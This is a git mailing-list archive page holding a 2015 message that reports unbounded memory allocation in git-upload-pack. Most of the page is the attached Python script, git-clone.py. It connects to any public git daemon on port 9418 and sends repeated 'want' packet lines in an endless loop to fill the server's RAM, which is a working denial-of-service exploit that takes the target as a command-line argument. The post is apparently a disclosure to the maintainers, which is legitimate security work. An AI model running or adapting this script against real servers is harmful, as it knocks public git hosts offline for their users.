git.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* arbitrary memory allocation
@ 2015-11-26  4:06 ytrezq
  2015-12-01  0:17 ` Junio C Hamano
  2015-12-02  6:09 ` Jeff King
  0 siblings, 2 replies; 4+ messages in thread
From: ytrezq @ 2015-11-26  4:06 UTC (permalink / raw)
  To: git

[-- Attachment #1: Type: text/plain, Size: 187 bytes --]

Hello,

First, something I still don t understand, should I always ulimit ram
usage for security purposes when I m manage a public server?

If not, you may find the attachment interesting

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #2: git-clone.py --]
[-- Type: text/x-python; name="git-clone.py", Size: 2736 bytes --]

#!/usr/bin/python
from socket import *
import sys,time
if len(sys.argv)!=3:
	print "Ok, it is not a real memory leak but it can be used against any public git server.\nAn http version of this script would benefit from a large zlib compression ratio allowing to fill the ram 200 time faster like with ssh"
	print ""
	print "usage"
	print "argv1 is the target domain name or address"
	print "argv2 is the path to a non empty repo with at least 2 refs"
	print ""
	print "for example git://somesite.com/git/linux.git would become"
	print sys.argv[0] + " somesite.com /git/linux.git"
	exit(1)

sockobj = socket(AF_INET, SOCK_STREAM)
sockobj.connect((sys.argv[1],9418))
path="git-upload-pack "+sys.argv[2]+"\0host="+sys.argv[1]+'\0' # request a clone
sockobj.send(format(len(path)+4,'04x')+path) # see the git documentation for more information about the pkt-line format

# Even when blocking, socket.recv might not send the complete request size
def full_read(length):
	buf=sockobj.recv(length)
	size=length-len(buf)
	while size>0:
		time.sleep(0.001) # wait for data to arrive
		buf+=sockobj.recv(size)
		size=size-len(buf)
	return buf

obj=[full_read(int(full_read(4),16)-4)]
pkt_line_length=int(sockobj.recv(4),16)-4 # represent the lenght of a packet in pkt-line format (in hex on 4 ascii bytes)
while pkt_line_length>0:
	obj.append(full_read(pkt_line_length))
	pkt_line_length=int(full_read(4),16)-4
	if sys.getsizeof(obj)>150000: # Don t do the same error of the official git project, limit our ram usage
		time.sleep(1)
		sockobj.recv(10000) # be sure git-upload-pack would be ready for recieving
		break

first_line="want "+obj[0][:40]+" multi_ack_detailed side-band-64k thin-pack ofs-delta agent=git/2.9.2\n" # The first line have a different format
sockobj.send(format(len(first_line)+4,'04x')+first_line) # send it in the pkt-line format

line_list="0032want "+obj[1][:40]+'\n'
while len(line_list)<65430: # Get the ideal tcp packet size for fastest bandwidth (64Ko)
	for i in obj:
		if (i==obj[0]) or (i==obj[1]) or ("pull" in i):
			continue
		line_list+="0032want "+i[:40]+'\n'
		if len(line_list)>65480:
			break


# struct object (see object.h line 47)
# unsigned int
# unsigned int
# unsigned int
# unsigned int
# unsigned char binary_sha[20]

# objects=object +
# char *=NULL (64 bit int)
# char *=NULL (64 bit int)
# unsigned mode
line_list_len=line_list.count('\n')*56 # Line lengths of the pkt-line format won t fill the ram, so remove them from the size counter
count=line_list_len
while True:
	sys.stdout.flush()
	sockobj.send(line_list) # for each line, the git-send-pack process allocate append a member to a struct objects array
	print("\r%.2f Mo of ram filled" % float(count/float(1048576))),
	count+=line_list_len

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2015-12-02  6:09 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2015-11-26  4:06 arbitrary memory allocation ytrezq
2015-12-01  0:17 ` Junio C Hamano
2015-12-01  1:03   ` Stefan Beller
2015-12-02  6:09 ` Jeff King

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).